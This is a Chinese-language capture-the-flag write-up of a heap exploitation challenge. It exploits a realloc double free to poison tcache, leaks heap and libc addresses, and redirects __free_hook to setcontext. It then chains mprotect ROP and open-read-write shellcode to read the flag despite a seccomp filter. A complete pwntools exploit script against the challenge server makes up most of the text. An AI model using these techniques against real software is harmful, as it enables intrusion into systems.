端午节看了dasctf的一个pwn题,学了一个新的姿势。
例行检查
分析程序
这是个堆的菜单题,并且用了seccomp进行保护,禁用了execve。这时候一般想法是orw直接将flag写出来。但是堆的题禁用了这个还是比较麻烦的,因为堆的题无法对栈进行控制就不能进行rop,这个先放一放,先进行堆利用。
漏洞是在edit中,其中使用的了realloc,当size为0的时候,realloc会free掉这个块,执行两次可以造成tcache dup,这里可以泄露堆地址,第一次任意地址分配可以分配到一个unsortbin大小的chunk,这时就有两个指针指向这个堆块,free7次这个大小的堆块再free这个堆块会进入unsortbin,这时候show可以泄露libc,如果没禁execve,这时候再来一次任意地址分配可以分配到malloc_hook或者free_hook,修改为onegadget就完事了。
但是开了沙箱就要想别的方法了,找了一圈发现了EX师傅的方法,heaporw,利用setcontex函数,这个函数有一段可以控制大部分寄存器,进而orw。
.text:00000000000520A5 mov rsp, [rdi+0A0h]
.text:00000000000520AC mov rbx, [rdi+80h]
.text:00000000000520B3 mov rbp, [rdi+78h]
.text:00000000000520B7 mov r12, [rdi+48h]
.text:00000000000520BB mov r13, [rdi+50h]
.text:00000000000520BF mov r14, [rdi+58h]
.text:00000000000520C3 mov r15, [rdi+60h]
.text:00000000000520C7 mov rcx, [rdi+0A8h]
.text:00000000000520CE push rcx
.text:00000000000520CF mov rsi, [rdi+70h]
.text:00000000000520D3 mov rdx, [rdi+88h]
.text:00000000000520DA mov rcx, [rdi+98h]
.text:00000000000520E1 mov r8, [rdi+28h]
.text:00000000000520E5 mov r9, [rdi+30h]
.text:00000000000520E9 mov rdi, [rdi+68h]
.text:00000000000520E9 ; } // starts at 52070
.text:00000000000520ED ; __unwind {
.text:00000000000520ED xor eax, eax
.text:00000000000520EF retn
接着上面,在分配到free_hook后就可以将free_hook修改为setcontex了,然后在堆中设置好各个寄存器的值。先调用read,将mprotect的rop写入,然后修改内存的权限为rwx,写入orw的shellcode,jmp rsp执行shellcode。就完成了。exp在控制了free_hook后的工作可以当成模板直接使用。
from pwn import *
io=remote('183.129.189.60',10028)
libc=ELF('./libc-2.27.so')
context.arch = 'amd64'
def add(size,data):
io.recvuntil('choice :')
io.sendline('1')
io.recvuntil('the order?')
io.sendline(str(size))
io.recvuntil('notes:')
io.send(data)
def show():
io.recvuntil('choice :')
io.sendline('3')
def free(idx):
io.recvuntil('choice :')
io.sendline('4')
io.recvuntil('of order:')
io.sendline(str(idx))
def edit(idx,data):
io.recvuntil('choice :')
io.sendline('2')
io.recvuntil('of order:')
io.sendline(str(idx))
io.send(data)
add(0x100,'/bin/sh\x00')#0
add(0x100,p64(0)*0x10)#1
add(0,'')#2
add(8,'c')#3
add(0,'')#4
add(8,'d')#5
[add(0x100,'a') for i in range(7)]
[free(i+6) for i in range(7)]
[edit(2,'') for i in range (5)]
show()
io.recvuntil('[2]:')
heap=u64(io.recv(6).ljust(8,'\x00'))
print(hex(heap))
free(3)
add(8,p64(heap-0x130))#3
add(8,'3')
free(1)
show()
io.recvuntil('[6]:')
libc_base=u64(io.recv(6).ljust(8,'\x00'))-0x3ebca0
print(hex(libc_base))
free_hook=libc_base+libc.sym['__free_hook']
setcontext=libc_base+libc.sym['setcontext']
edit(4,'')
edit(4,'')
free(5)
add(8,p64(free_hook))#1
add(8,p64(setcontext+53))#edit_free_hook 5
syscall=libc_base+libc.search(asm("syscall\nret")).next()
print(hex(syscall))
frame = SigreturnFrame()
frame.rax=0
frame.rdi=0
frame.rsi=free_hook&0xfffffffffffff000
frame.rdx=0x2000
frame.rsp=free_hook&0xfffffffffffff000
frame.rip=syscall
pl=str(frame)
edit(0,pl)
free(0)
layout = [
libc_base+libc.search(asm("pop rdi\nret")).next(), #: pop rdi; ret;
free_hook & 0xfffffffffffff000,
libc_base+libc.search(asm("pop rsi\nret")).next(), #: pop rsi; ret;
0x2000,
libc_base+libc.search(asm("pop rdx\nret")).next(), #: pop rdx; ret;
7,
libc_base+libc.search(asm("pop rax\nret")).next(), #: pop rax; ret;
10,
syscall, #: syscall; ret;
libc_base+libc.search(asm("jmp rsp")).next(), #: jmp rsp;
]
shellcode = asm('''
sub rsp, 0x800
push 0x67616c66
mov rdi, rsp
xor esi, esi
mov eax, 2
syscall
cmp eax, 0
js failed
mov edi, eax
mov rsi, rsp
mov edx, 0x100
xor eax, eax
syscall
mov edx, eax
mov rsi, rsp
mov edi, 1
mov eax, edi
syscall
jmp exit
failed:
push 0x6c696166
mov edi, 1
mov rsi, rsp
mov edx, 4
mov eax, edi
syscall
exit:
xor edi, edi
mov eax, 231
syscall
''')
io.sendline(flat(layout) + shellcode)
io.interactive()
除了这种方法以外,好像还有一种通过io进行栈上rop的思路,这个坑以后再填。